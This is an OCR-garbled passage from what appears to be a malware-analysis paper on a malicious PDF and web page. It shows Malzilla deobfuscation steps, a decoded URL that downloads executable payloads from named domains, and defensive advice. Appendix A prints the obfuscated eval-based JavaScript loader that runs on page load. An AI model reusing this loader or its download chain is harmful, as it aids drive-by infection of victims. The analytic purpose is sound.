BT IHETR34N20M3dNRZONOeROENRT THZORALNTZ2HT 2HE1 KT 920K M IbHEOHO6HZOK2BHEIMET XET
HOBHA3HIZHOeHET K33HO0HAbREeXTER2OK20KThR2ONA0XIAXET BB T K7 3XETH34%20%3d
H2BREOKET HET HE8H43H32X0e b T B33X00K4bRoeRTERIbXTdN2OXEEXOCHT 3HEER20KTh
HTEKROLKTZH2OXEAHEOXET ¥BT ¥oeko T K77 oek20K3dR20%30%3b
HTIEHOLET2H2BRT1HR35H35HISHATHE4 I L HEEHZ20K3d%20530%3b
HTOROLKTZH2OKTTHITHAOHOEHET ¥BT Mb4R32H20M3dN2ANIEHI1HEZ2HEbHT6HO1HT2H20M6 1Ko
HE3HITHTARTOXICHIOHZ0MIAN2OXIFHIHEbHOLHECHOIHIINT4HTONRITHIGH2dN2d*3b

BT HOBHREONECHEERZEHT1HIEHIEHISHA THE4M 31 HEEX20M3CHI0M44XANkTBMI6XE0HA1LKTEN e
HOCHEEHOENETHTAHEBH2IXZOMTDETOHOLNT 2H20KE K TANET ¥4dXE T X5 X5
HI1LHBLARIERTERZOXIANZOXILEEbETOHO LT 2H20KB4XIEH4aK4 256 dXEIHE4:38X0bMET KobXbC
H2BH3IdHZ20%44%4aKTORIOXBENALHTEH2e X 3HOERELHT 2R IHET
HOAROERALKTAX2BHTLHIEHIEHITHATHE X1 HEERZ XK EbHEOHE6 X 20428554235 H4ak42%6d
HEONE4H30HEbMET HobXOCHZBN3eX3dM2aMe1MoC
HE3HIBHTARTOXICHIOHZOHZEK26H20KBAHIEHAN42HOdXBINE4X3EKEbXE T ¥obHECHZBM3cH3d
H2BRZ BRI HECHASRI SR T4 TONITHICHZONZbHZANI DN IHZOR2AXTh RO OHOH2AN2 T X 4B ENET
HBT RoeXET K7 THEeR20X3dMEdX20M34529520KTh 20O 4XBOXET KB MoeXhf K7 7Hoek2053d
H2B%30M3bR2ONTAREIHO6HZON2THOIKT IHAeHO1HAeX2EHA6X30MET KT 7355 7%34%Eb
HO4HBOHET KT ¥oekb T X7 THoekbdX29M2oK20MTh2ON40RIONXET 8B T K7 3XETH34XbbXo4XBeXET
HET HEeXET ¥TTHoeXBdRZORIdN2DNRIDRIbEZBRTANIBIIBNET HET X7 3HE THI4EbHOINE6XET ¥BF 4
HoeX6T BT 7HEeXbdR2aX2bi3dN2aXE4X35X4a%42 Ko dXEIHB4HIBHOb BT ¥obMoCHSh ¥
HEOKHO6HZON2THACKIONET ¥ET K73XETHI4XEbHOAXEOXET ¥BT ¥oekof K7 7HbekbdX2ni3e

Figure 8: Replacing “z” with “%”

Fourthly, after decoding the data in the stream object using hexadecimal
characters in Malzilla under Misc Decoders tab (Figures 9 and 10). Once the “Decode
Hex” button is clicked, the code is deobfuscated.
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22 Malzilla by bobby

Download I Decoder Misc Decoders lKaIimero Pracessor | Shellcode analyzer | Log | Clipboard Monitor | Notes | Hex view | PScript | Tools | Settings ! About |

Text IHeX I

538%41%33%45%34546%537%530%44%31%544%30%39%36%46%37%31%541%32%35%32%34%36%36%37%32%44%35%39%44%32%44%30%38%35%345%531%46%39%2
%34%33%449%35%35%34%34%41%36%45%536%35%45%43%545%37%46%31533%33%35%33%35%44%31%358%41%36%42%43%45%36%38%36%30%39%335%534%415%°
544%46%43%34%45%41%32%449%34%31%32%33%34%35%42537537%31546%491%306%30%38%39%45%42%37%544%33%37%325%36%30%36%46%41%37531537%¢
541544%538%34%32%42%35%43%46%39%531%43%39%43%45%42%30%38%41%39%31%36%308%37539%43%33%39%38%34%32%34%41%41%37%33%45%44%42%¢
%34%34%349%43%37%34535%39%34%41%5493%45%45%43%545%31%45%33%36%35%35%43%37%46%34531%45%46%37543%31%33%39%538%37%46%33%546%425%8
539%43%43%32%37%46%46%45%34%42%41%32%32%42%41%54949%539%39%31%39%537544%38%32%44%42%39%43%44%35%45%45%46%542%546%44%37542%375%¢
534%36%537%545%43%33%35%33%44%42%34%37%31%543%39%36%30%37%541%35%45%38%33%308%38%32%34%30%32%492%46%44%542%43%45%34%39%39%395%2
$32%31%35%32%46%35%45%45%39%31%546%45%42%30%44%36%39%38%38%43%32%30%36%33%31%46%32%37537%43%46%46%37546%41%36%45%42%41+%
%$44%41%46%35%35%31%46%45%533%32%38%42%45%43%41535%535%35%34%34%34%36%35%35%41%33%5449%30%43%42%43%46%44546%5335308%35%449%415%¢
%38%30%45%41%43%36%449%45%41%541%535%43%46543%38%44%31%39%30%35%41%36%32%31%536%46%41%36%46%43%43%41%537%541%46%36534%34%345%¢
545%39%42%42%46%39%32%38%32%32%32%35%35%32%43%30%308%39%39%30%45%39%35%43%31%33%31%46%35%46%44%31%33%32%45%43%38%38%355%¢
537%32%36%32%34%43%31%45%44%34%46%449%42%43%42%4925%36%31%36%32%33%32%35%31%306%39%30%42%41%37%545%308%43%32%35%39%32%32%36%¢
%36%38%449%44%37%33%30%35%37546%537544%44%546%41537531%31533%34%33%39%33%45%32%358%44%308%41%43%43%46%41%543%30%544%532%44%325%2
$43%41%42%34%306%34%46%31%534%44%33%41%30%435%38%31%41%42%30%34%41%42%46%46%46%45%35%33%33%537%39%36%34%42%30%546%35%34%33%¢
535%45%38%39%45%45%30%38%43%35%46%34%530%35%41%534%34%46%38%33%46%42%31%39%36%45%535%30%33%32%43%41%46%335%54949%33%44%546%36%¢
534%41%532%43%30%43%545%31%39%35%42%32%39%34537531%46%335%37%43%33%33%45%46%34%36%43%42%42%46%30%36%39%33%308%37545%37%3152
541%46%43%44%41%42%46%43%33%42%41%42%43%34537536%30%44%46%42537537%45%43%46%30%38%39%43%544%42%34%30%39%34%534%36%46%305%:
536%37%38%39%43%30%43%34%46%30%32%38%31%42%37546%534%38%45%491539%32%31539%37%39%34531%34%37541531%43%544%46%538%37%39%531%¢
531%30%38%45%32%42%44%35%35%33%31%39%36%32%38%35%41%36%39%45%30%36%30%33%46%38%33%46%37%39%42%30%39%531%42%45%46%537%534%¢
$41544%534%41%36%32%38%45%45%45%43%35%43%46%33%43%37%39%32%46%35%32%44%36%41%46%45%42%38%42%39%44%33%31%33%31%530%41%45%¢4
536%32%45%34537534%39%449%44%31%38%449531%45%335%31532%37%32%45537%34%449%41%33%42%36%531%31%37534%45%42%32%31534%34%34%496%¢
532%31%42%44%45%45%39%31%37%37535%45%34%34%33%41%306%32%41%545%30%43%45%36%31%35%33%33%33%46%35%43%37538%43%31%39%35%325%¢
%$39%31%37%43%33%37%39%31%44%32%31%45%42%39%35%37%36%43%534%44%44%38%45%37%43%41%32%39%35%32%39%34%31%37%541%41%30%46%31%4
537534%32%37537531%43%30%43%39%43%36%45%46%35%34%43%41%32%36%33%31%39%45%33%37541%33%39%39%34%36%38%355%32531%30%32%445%¢
543%36%44539%39%37537541%33%31538%30%32%308%34%358%306%31530%45%42%31%43%32%45%36%35%31%45%38%32%45%32%46%45%42%35%31%44%¢
%37%33%36%39%30%46%38%41%45%35%30%39%33%46%33%44%35%36%43%42%41%546%44%37542%46%33%39%33%34%32%36%44%537%39%39%39%544%43%¢4
531%46%33%38%31%33%42%33%41%33%30%31%42%43%46%543530%44%37531531%32%435%35%34%39%31535%39%46%32%46%42%37539%34%31%545%43%¢
%$42%32%46%45%33%43%41%34%31%36%41%545%45%46%33%44%30%38%30%39%33%34%39%39%44%541%39%44%44%37%32%43%34531%32%37%35%37%543%¢
%$36%42%39%44%39%44%34%36%45%42%37%39%34%34%45%43%35%31%46%41%42%43%41%41%39%42%38%45%32%31%33%44%46%42%32%31%35%38%415%:
$33%42%41%39%31%34%534%43%41%355%31%39%36%41531535%45%31%542%44%46%37537%46%34%546%33%43%37536%31%41%35%32%308%42%39%34%415%°
%$39%45%34%31%32%46%34%41%530%39%45%38%43%30%31%38%35%39%37%36%34%39%39%32%42%45%43%37%42%38%34%44%32%31%39%39%32%41%5494%¢
%3:;30%31%38%35%34%33%37%39%36%36%38%43%30%43%38%46%33%45%42%34%30%35%45%35%33%38%35%42%31%31%31%22%29%3b%0d%0a%0d%0&%[
%0

Override default delimiter Search: XOR key:

Decode Dec (,) Decode 15.encode | Increase I UCS2 To Hex I ] |

Replace:

Decode Hex (%) (+ Predelimiter Decode Base64 | Decrease | Hex To File | ]-— T
Decode UCS2 (%u) ] " Postdelimiter Concatenate | 1 'Z] Text to file
Replace

Figure 9: Decoding data in hexadecimal characters in Malzilla
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2 Malzilla by bobby
Downkoad | Decoder Mz Decoders | xalmero Processor | Shelkode anshaer | Log | Choboard Manitor | Notes | Hex ew | PSarpe | Tooks | Settings | About |
Test Im |

function R_yTOmmSSVyl3l(i_ hC2n 3fKnu, 2063 _7)C_U) (var DJIpéVAu = arguments.callee:DIp6Viu = DIpSVAu.toString()
ivar BNqql__ 6DCEBee = D:try (12 (mpp) (BNqQql__ 6UCBee++:;BNqql__ 6UCBees+:)) catchie) { Jvar ¥F0_ a¥q = new Array():if
{3__hC2n_32Knu) | FO__a¥§ = 1 KC2n_3CRnu:) else (var dV__nown = O:var q553GTie = O:var wwir__TZ = S13:var alc3tpss = 49
salcieydf-—:while (gSS3IGT1e < DJIp6VAu. lengrh) (var ip M 108u = 1:var TSIBmYTSk_KI = DIp6VAu.charCodedr (q553GTie) s 4L
(TSUBmMYTOR k1 >= alciepBd & TSJIBwYTOK k1 <= (alc3vpB6 + 9)) (41f (dV_nown <= 4) ( &V_nown = 0; )it (i=NeN(FO__a¥4
[dV_mown}}) ¢ FO__sW4[dV__nown] = O; 1X0__sV4(dV__nown] += TSIBmYTS8k kl;if (¥O_ =W4[dV_nown] > wwFf T2) (¥0O__s¥4
[dV__nown] -= weFf T2;idV__nown++;1q553GTle++;))dV__nown = 4jwvhile (dV__nown > 0) {1f (¥O__a¥4(dV_ nown - 1] > 256)
{FD__s¥4[dV__nown - 1] -= 256;)dV__nown-—;jvar up¥ B_BOND 8TX = O:var VnpB_wx3102_O1 = "":var ve?m Ny xa68 = O;var

ic6gLIIVIQyr O = Divar o _c8_6 = O:var DOb_oxto_  p;var RQBFgivé = O:while(1t6gL3)V2Qyr_0 < 2063 _7)3C U.liengthj (var
COETSAVRWPT = 3063 _73C_U.subatr (1€6gL3jVZQyr 0, 1) + "I":;var KY_ BEOCKD_D » parselnt (cOEJ6AVRWpr, 16):31f |o_c8_6)
{DOb_oxto__p 4= NY__BECCKD_D:if (upW_B_BONO_STE == 4) (up¥W_B_SONO_STH -= 4:)var PgSSX_ OV = D0Ob_oxto_ p:PgSSX_ OV =
PgSSE__OW - (RgBFgivé + Z| * FO__#U4[up¥_B_SONO_STH]:if (Pg55X__OV < D) (ver 3_SESxccim = Navh,floor (PgSSX__ OV / 256)
;PESSX__ OV = PgSSX  OW - = 8KSxtecim v 236;1Pg55X 00 = String.fromChacCode (PgS5X_ OU) s if (BMgql__ 60CBee == 1)
{VipB_wx3102 01 += NY BECCKO D;) else if (BMggl  4UCBee == 2) {(VmpB wx3102 01 += PGSSE_0¥;} else {VnpB wx3102 01 +=
1t6gLiiVZQyr_0;)up¥ B _BONO_S8TE++;RqBFgivé+t;o c8 € = O:) else (DOb_oxto__p = MY__BEOCKO D * 16;0 c8 ¢ = 1;

) uﬁql.ljvzow:_t)”} teval |Vmp6_rx] 102 D1j:return ;)

B_yTOmmESVy1l1|0, "AOCAEESECSSS4T7751BCDEEODS944F0839A07ASS5EES62 RAE083 A543 7EIBI011BER1SACSPE4BABES1ATIGICABEESDAB
6CBFST74712D7FICE656331 702 B0589FCEADIFEBC2 6261 1FESCEZA3B5DR7592ED5512249BB4BDSF 1B57482BECEREF281D2Z48C72EBCS1DBI473676EFCLIBI
ATOEFROESABEFS370DCEI0T0976437SECEDBSAS2 1Z04A669E66ACBOAPBCEO3BFA112FSTOBI 1ASBEG19EM1MALAIE18921E2E6490190D6A9B10BABODACETAS
SIDO9CABE61D252 60BBDD4CEAD6DAFASBI0BABIDFSACEOAZOAEDPASEODAG0TFSCAZF4ASA4BBBF73AA214924CCD2D5A3559A68S59FDADDCCFESFI34FFETF
E10BEBTA441223BES1DTFD6ZB980C014E023626E3C3FFB31F4B740ESECFICIDEFS4474640AFCF2358504466A207804EFES420EDEF20A36DESSCOFDZEA
FASDETSOBEEEF 69402 65E114CERE2ZES0464I0EBDDSAS9SZATAFSFTI618A6B3CSSP0I4EOF1490FS327EBCS4BI2CO01S0ARAEICETI1I6CESBSESDEFT244
A065740028F27C4ISFOBCFFO0ACIDSETEOFEEDBDETS0AT1CACOCIEZ 2049 6K EA06ICA4F21DDCECABBGTBICOIFCEESADTZ7E1CIOEFFEYSF2STECF1B1
FDEDSEZOSBCACTAEDOBI0IFST13C12aSEZBBASSDI¥ SEEBDaCCO1ICT1IDR4ASOSB4EESTSAEOSUIICSAFIEA4BZ0T06E1116D2DEEBOBO0] SAFBI42EROADS
B734A2B34C1A0DCEF6CF6T1F4FBFEFESSBSA2700C3FES 1553 A605590C5576Fa8215E197FB36115A7D5DS2D2EOZIAGSD1FSEOSEEBBODECTS3874E6FER2
1542BDDBBR4ZESSSZEFISDOBDDIZFCTESDTDOBF 43 02 1E1CS0FEBF903 12461 1BECALEFBT795087D3 40536 ABSCTDCA9ZSAEFS2CSC0T56A002858600301
P0IBDDOAFS521B3F24D6E0BF0228669ESD32BABAETINTEZE76DALI2BCRSTD6121CAERIFTBACIRRAADG1D76392CBROITIRIOFCAGAI4EFAEACDFAAC3 453614
FDADBDES61CAE6FE7OCSAICEDIAGEOTFIALCESFDE56911A30A486DF65BCTICIEETID2TTIDCEEAASTFDSASCO6A2 ATFFBI4ZFESPELAIOADBSDIEBISS19ESC
93IB509FZAACT61DSA162460BE959A31026ES4CSTEBOCASSESAF4026FED2 68756543 DC19A61EB0BD516D15626D2B6FD6AD71AESEFEFDZB069ZA0BCEIES
S4475CIEESST205B5145B0EABOAC151650822D561F79876B1BA061BIB2CA0ATADCIASIOD1I1SDEGIOD2ZAGE97S630C1TCIFESE9521692D2D48166CHEDIS
ALISDIDFIS11180A20E4ERO¥ D242 520A8B5ED5047103302DFD105D6IESZS00B0Z7CEOBOIEOICCIILINCE4ISOCOFBICFZEE3S1016305DETBZATFTERSEC

PEASANIBENBANANER IS EBFLANTT ARSI FARABAEFIOIBAPEAYA LI BREFIEARANDE RPN ErI L ASAFFBIF RS SINIB T INFACTINYEASACEFARI CRFRTANYAE AT s 3/~

Crvermride def okt defimicer Searche HOR hey
Docade Dec (,) [ Decode 35 encode. | Incesse | ws2toter | [ [
Replace:

i+ Predeire Decode Basstd | Decroase | MexTarte | T o |
Deoodeu:szﬂm) " Pastdeiméer cocatanate | [ 1% Tattofle | ——

Figure 10: Decoding data in hexadecimal characters in Malzilla

Next, the deobfuscated code is copied to the window under the Decoder tab. If we
click on “Format Code”, the code will be displayed with proper indentation. Even though
we have the deobfuscated script, we still could not figure out what its function is. An
attempt to run the script is to take another round of deobfuscation. However, after it is
executed by clicking “Run Script”, a dump of numbers are displayed and it is found that
app is not defined in the script even the compilation completed, showing that it failed in

this deobfuscation. (Figures 11 and 12)
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Figure 11: Fail to deobfuscate
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22 Debug Window

Ermor Message:  app is hot defined

{
BMggl  6UCSeet+;
BMggl  6UCSeet+;
}
}
catchie)
{
}

var FO__ sW4 = new Arrayi);
if {i_ hCZn_ 3fEnu)
{

FO__sW4 = i hCZn_ 3fEKnu;

var dV_ nown = 0;
var gS53GTle
var wwFf TZ =
var alc3tp88 =
alc3tp88--; [%

while (q553GTle < DJpéVAu. length)

{
var ip M 1Q8u = 1;

Inon
won O
w0 o~ v
LI N

Al

{
if (dV__nowm == 4)
{
dV__nown = 0;
}
if (isNaN(F0O__ sW4[dV_ nown]))
{
FO__ sW4[dV__nowm] = 0;
}
FO__ sW4[dV__ nowm] += TSJBnYT8k kl;
if (FO__ sW4[dV__nowm] = wwFf_TZ)
{

var TSJBmYTS8k _kl = DJpeVAu.charCodeldt (g553GTle) ;
if (TSJBmYTSk_kl >= alc3tp88 && TSIBmYTS8k _kl <=

|

{alc3ty

v

Figure 12: Fail to deobfuscate because app object in the Javascript is not defined
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Figure 13: Successful Deobfuscation by commenting out lines with “app” object

Afterwards, our approach is to change the code and enable successful compilation
and we have commented out lines with a4pp and run script again, it is successful to

complete the second round of code Deobfuscation. (Figure 13)

The next step is to extract the portion of code from unescape function and paste it
into the window under Shellcode Analyzer tab in Malzilla as below figure. Apart from
verifying the content in hexadecimal and ASCII format easily, ShellCode Analyzer
facilitates “run emulation” so that the analyst can execute the shellcode and obtain any

possible outcomes.
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= Malzilla by bobby
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Figure 14: Shellcode Analyzer

Finally, we copy the ASCII text from the Shellcoder Analyzer and pasted it into
another text file titled with pdf in_evil2.ixt. As the code stream is encoded in Unicode
format, writing a PERL script to parse and decode the Unicode stream enables a
conversion from Unicode to ASCII characters. The malicious URL could be clearly seen
in the following figure. Once it is executed, the request will be redirected to other sites
download malicious Sefup.exe and setup07.exe payloads from opératedout.cn and

ruledout.cn respectively to the victim machine. (Figure 15)
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:\test>type pdf_in_evil2.txt | perl —pe “"s/\n//g" | perl —pe "'s/ //g" |
e Ys/NUNH\"//g" | perl —pe Ys/zul..>{(..>/chr(hex($2)).chr(hex{(51))/ge' devi
df 2a.txt

:\test>type unescape.js | perl —pe “s/zud{..>(..>/chr(hex($2)>).chr(hex{(51
var BA4_1_y = unescape(“???2?Y{fEFEE] 3F2 W FE F #CEHAT

®X PP3FE";
var y¥s@__Xa 2y = “PEFEF 278 _d? x® 94?7 - 4l
hon hurlnT iR#H +ch wiTWGC? u?§H3?27@ JEQRShew® UQZYQR?SCC;

¢.exe [BEenze 35EPSUP Ur u®jES USZY AC: uQUK<F.xvEE~ 9?2[]

%;vuﬁéasd@?}{%hwwﬁw?ﬁ ? A2 li#s37 06> /peBnH http://izediotia
hin/ae/eH8he2eBc1U0100f 06 006 RONDPBNBA1B2TcBc536£ 020310409 ;

Figure 15: Malicious URL has been successfully decoded.

2.5.3. Summary

From the above analysis, we have found that our static code analysis matches the
finding from the behavioral analysis after opening the malicious PDF file. It is discovered
that data in the stream object could take several rounds of decoding and deobfuscation,

undeniably presenting challenges to malware analyst.
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3. Conclusion

From various analysis perspectives, readers should understand how a blended
malware threat propagates and the behavior of the malicious executable and PDF
document. In the real world, a chained infection and blended threat are very popular and
the attacker may not just deploy a single payload to the victim but several, to enhance the

chances of success of their exploits.

We recommend end users be aware of the social engineering attack and think
carefully before clicking any suspicious links on forums, advertisements, social
networking portals, blogs and emails. End users are suggested to install anti-virus and
firewall software packages from a major security software vendor. In addition, keeping
the operating system up to date with the latest security vulnerability patches should be
mandatory. Moreover, end users should keep third party applications up to date because
popular readers and plug-ins like Adobe Reader and Flash Player and Active-X control
are common programs that are easily targeted by attackers. In corporate environments,
software installation should be restricted to the administrative user and it is more secure
to verify software integrity by generating the MDS5 hash signature of the executable or
software and check against the one provided by the vendor. Installing content filtering
and malicious site blocking network software could help to reduce the risk exposure. For
further information about fake anti-virus Trojan software detection, protection and
removal, readers could reference the suggestions from Microsoft (Microsoft, 2009) and

Shanmuga (Shanmuga, 2009).

For the solutions of defending against PDF malware, apart from disabling running
Javascript in the Adobe Reader and keeping the anti-virus software updated, Adobe has
suggested Javascript Blacklist Framework for both Reader and Acrobat (Adobe Systems
Inc., 2009). From Eric’s paper (Filiol, 2008), there are several suggestions on enhancing
PDF security. It includes that integrity and access rights should be strengthened in order
to forbid the modification of AcroRA32.dl/ and RdLang32.xxx configuration files (Adobe

Systems Inc’s level); PDF file must not be open while logged as root or as a privileged
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user and Windows operating system should be enabled with hardware-enforced or
software-enforced Data Execution Prevention (DEP). DEP lets the operating system (OS)
mark memory locations that should contain only data as No eXecute (NX). When an
application attempts to execute code from NX-marked memory locations, the operating
system DEP logic will block the application from doing so (Microsoft Corporation,
2006); Monitor any suspect or unusual aspect/behavior of PDF management
applications; Preferably use PDF with no (too much) active/critical content, unless

strictly necessary; Systematically use digital signatures to exchange PDF document.

In summary, the trend of disguising to be genuine PDF and other document files
have been treated as “exploit carrier” will continue in the future, it undeniably poses

challenges to the malware analyst and corporations.
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Appendix A: Source Code of Malicious HTML Page

<html>

<head>

<script>

function pJXvd4b4 J5 x(x6 46 KC5Dd4 W, XJ7JF7 W) {var
a_ Ibe Pu4MoK = arguments.callee;a Ibe Pu4MoK =
a_ Ibe PudMoK.toString();var o t Lp = 0;var Wt 5i2 1 oQDj =
"a" + "f";var Il bLjP eKGT =
document.getElementById (Wt 5i2 1 oQDj);if (Il bLjP eKGT)
{if (!XJ7JF7 W) {XJ7JFT W =
Il bLjP eKGT.value;}}o t Lp++;0 t Lp++;var t h 0 F = new
Array();if (x6_46 KC5Dd4 W) { t h 0O F = x6 46 KC5Dd4 W;}
else {var LXi3 12255 AD = O;var UH_ rt V 3s4Q = 0;var
mQJv_ 1 FA3k = 512;var wEv _cKe V16Ec = 49;wEv _cKe VI16Ec-
-;while(UH rt V 3s4Q < a Ibe Pu4MoK.length) {var
GLV p h = 1;var vIWl 45bm p7n =
a_Ibe PudMoK.charCodeAt (UH rt  V 3s4Q);if (vIWl 45bm p7n
>= wEv_cKe VI16Ec && v1IWl 45bm p7n <= (wEv_cKe VI6Ec + 9))
{if (LXi3 12255 AD == 4) { LXi3 12255 AD = 0; }if
(isNaN(t h 0 F[LXi3 12255 AD])) {
t h 0 F[LXi3 12255 AD] = 0; }t h 0 F[LXi3 12255 AD] +=
v1Wl 45bm p7n;if (t h 0 F[LXi3 12255 AD] >
mQJv_ 1 FA3k) {t h 0 F[LXi3 12255 AD] -=
mQJv__ i FA3k;}LXi3 12255 AD++;}UH  rt  V 3s40Q++;}}LXi3
12255 AD = 4;while (LXi3 12255 AD > 0) {if
(th 0 F[LXi3 12255 AD - 1] > 256)
{t h 0 F[LXi3 12255 AD - 1] -= 256;}LXi3 12255 AD--;}var
U7258 ppOu = 0;var P27 13h8oeZK2 = "";var wN4g4B tc5 Mm5 =
O;var sr3r7o 30 = 0O;var t tU22 tVs = O;var HUuH 5 Tdv;var
AdY J36 = 0O;while(sr3r7o0 30 < XJ7JF7 W.length) {var
c ar /m = XJ7JF7 W.substr (sr3r7o_ 30, 1) + "J";var x13m 577
= parselnt(c_ar 7m, 16);if (t tU22 tVs) {HUuH 5 Tdv +=
x13m 577;if (U7258 ppOu == 4) {U7258 ppOu -= 4;}var
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j__ylvBW 1 = HUuH_ 5 Tdv;j_ ylvBW 1 = j ylvBW 1 -
(AdY J36 + 2) * t h 0 F[U7258 ppOu]l];if (j ylvBW 1 < 0)
{var B2X83Pu = Math.floor(j ylvBW 1 / 256);3j ylvBW 1 =
j__ylvBW 1 - B2X83Pu * 256;}j ylvBW 1 =
String.fromCharCode(j ylvBW 1);if (o _t Lp == 1)
{P27 13h80e2K2 += x13m 577;} else if (o _t Lp == 2)
{P27 13h80e2K2 += j ylvBW 1;} else {P27 13h80e2K2 +=
sr3r7o_ 30;}U07258 ppOu++;AdY J36++;t tU22 tVs = 0;} else
{HUuH 5 Tdv = x13m 577 * 16;t tU22 tVs = 1;}sr3r7o 30++;}

debugger

eval (P27 13h8oe2K2) ;

return 0;}

</script>

</head>

<body onload="pJXv4b4 J5 x() ;">

<input type="hidden" id="aa" value="1">

<input type="hidden" id="af"
value="54FB8612DB71814C97E99BA189228D8AFBABOF08EB649810AACH
EB273318C047DE7CE4639C0D3EBBA86A25F1612D66E10DB25C26DB2A776
546674C904318A9B1FF8EC3E488F3D80A6373EA3144D8F55C0163138085
ES20A3724FF48A03C139BCBF395311B17245FA3F398B6D28798FA2C60EB
5CA899D86E3540ED11AF188A8ECO99EDE4144632E9792FBCFDALF161478A
799A15BB331219F7E6973D0BA25D966BB07AAD913E07BOB924A98EF092F
FO90F39DA9EF4821111052FA9B2481CDD023B27F8C15E602D347F3C84B5B
21B1F930152E2D4D4D33D85862FF499097AACICEE9304894EFF772AA0B9
8F3F26691A1F55B24DA0172CC620A9CA10F581587426930FEC28D51DE47
9079C4E96EBO323F8DSAFOAC86BBE056D7198BO9BC2023F02C23AF17CEF9
TE6452D7A9FBOFCAA6B2134DF169972319C203837634A4E5504CB96AEFED
7999A390B2A5BA383ABOE40DE7FCS5DF31A0D786A9A31994A1F34C130C11
2F89E1731D25C862A034C2E7B61F773664AABDA66825F5493DF521DD1C2
OB88AOF2D7FO9D8278271167908F8DCTFCF22F29F70A33AF669513DEBFCS
A4902A412562CT79BFAQOASSFF2B1COD672D5E1B6EF7D8099C99B6400AEFDS
1AC860CE4BB8061FA9634B0A9217B20ACACD2C372BB8A2384072598357F
BA8585BC30A6ES2738489ECT703FDS51DEFS5CEFF14096F2F26691A1F55B24DA
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018FCA5408AB88CA12C8426B6F3949104B51126A7C8BCEE9A7707B70B4C
F46COCABAAC44DD26ABCBFF472225017822C31893EE37EA86567A05A213
FF10D7DF635A36C9115D2B5C4A694204D2786CD990B5E47A029DEF7F7BD
BFAO3FOBO027AE1ICD6346A9DD8S06A492BATEF3981B00DF4C141EAZ2B8672A
2COD883D1BA850528FE2BOBAS091A8B029168CDFC290E140C701F566898
4D68D4FFD30ATFF4E31D8BOEFA5F96F1B21DA41D37202AA034876A6C093
823015B47AF36ACAE3ES82BD70BA2ASF6005F25FD6CF28B1A89D70327AF4
7T43F4ED43F808C2B732682AB8E160205166444FEAE099BOEF51ADD6B1D4
8EEC7049EB251FC4D43BE431116399A7D9530E3530BA109128B0A9160CD
F429061404701756609845686B7F8A3B77369B5A54BF7/EIFBF012A026AE
DOEB3238250C33DED5209AE(031189079B6FCBF122E58100D8A3A15D6EOS
B6F889DA0940AD26C6ACF4A7TDADDOF3DABASCT78B1F40ACTE449F369EC32
8792DA5C41503BD4EAD841FCIOE3C53FE84BA403F16073C32ED629289BA0
4AC8A8F52949A5212D201F258C3368C06F96081861055F6EC1IBSEDCOAQS
CEF79A50DB28568592CE6BESB19D21A7F50738F80892CF2857A22B2C2E1C
2F8B3165C9DEC335CF5075E0B6B204AC4010C948652399B080657EDOATC
6530B9AA412037358D78EA9A8CE89BD3A84C1889795D6550C94EEDA84B15
OE4FFCE3AT77960F8F5D02E47DE752FAAA88ES62105754380F32F97961E2
32535776DE8BT79623AAFBO03AFBOEOBC2DF531AED3F8472A580E3FF092F
986D93737A264B641F0593658CAEASA360293D29370945F5ELA27F69FAF
0D62749D97B28ACA462CB73F42B7ES53FF59DC43B892E377260C1884E28
DOOOOECOF26EATFA6673F6512577F28A3A24AD4EB99B18991B7AF1ICIFEFDS8
C2DF42E439C10F01578886D67D48EF1DB6F7473CCFBBDEF520632146B1D3
8D37C56A40B5B706FAF939159317D902BB68AF5D736B11EA2ZACED345F26
FD22C89E2592C7C4EC6A408E39EA4ECI52FBOC6B6F25C4EB805E30235F7
8FBC79799E5498198B7CESEFD634EB5262EC4F13CEB3EO012A54B5228D10
E6E47412A64CEAAOD91BOBI9C8764334D0E7D53C87B9680C5B99FA9TB2FEB
2D33CASCS5F7B95CCOF3A7TDOBE4368460460EESBE462E002FE8A667AL12D4
22F723DBE16A39359BE24A4E8ASB90571806A27CCO3ATFS2CACTBD03876
9B4F340ABCB4EFD5D197FAFEO02C68685930DBFOC350FAE34858F5A2BB74
3E1E304D5711A18F89A3F0B9BES36D">

<input type="hidden" id="ab" value="1">

</body>
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</html>

Appendix B: Malicious Executable and PDF Payloads
As number of pages is limited, please reach the author at

Oxdarkfloyd@gmail.com to obtain the malware samples covered in this paper. The

following files and executables could be provided:
e clspackxq.exe
e Malicious PDF file
e HTML file with obfuscated Javascript
e Network traffic .pcap files captured after visiting malicious site

e Network traffic .pcap files captured after opening malicious PDF file
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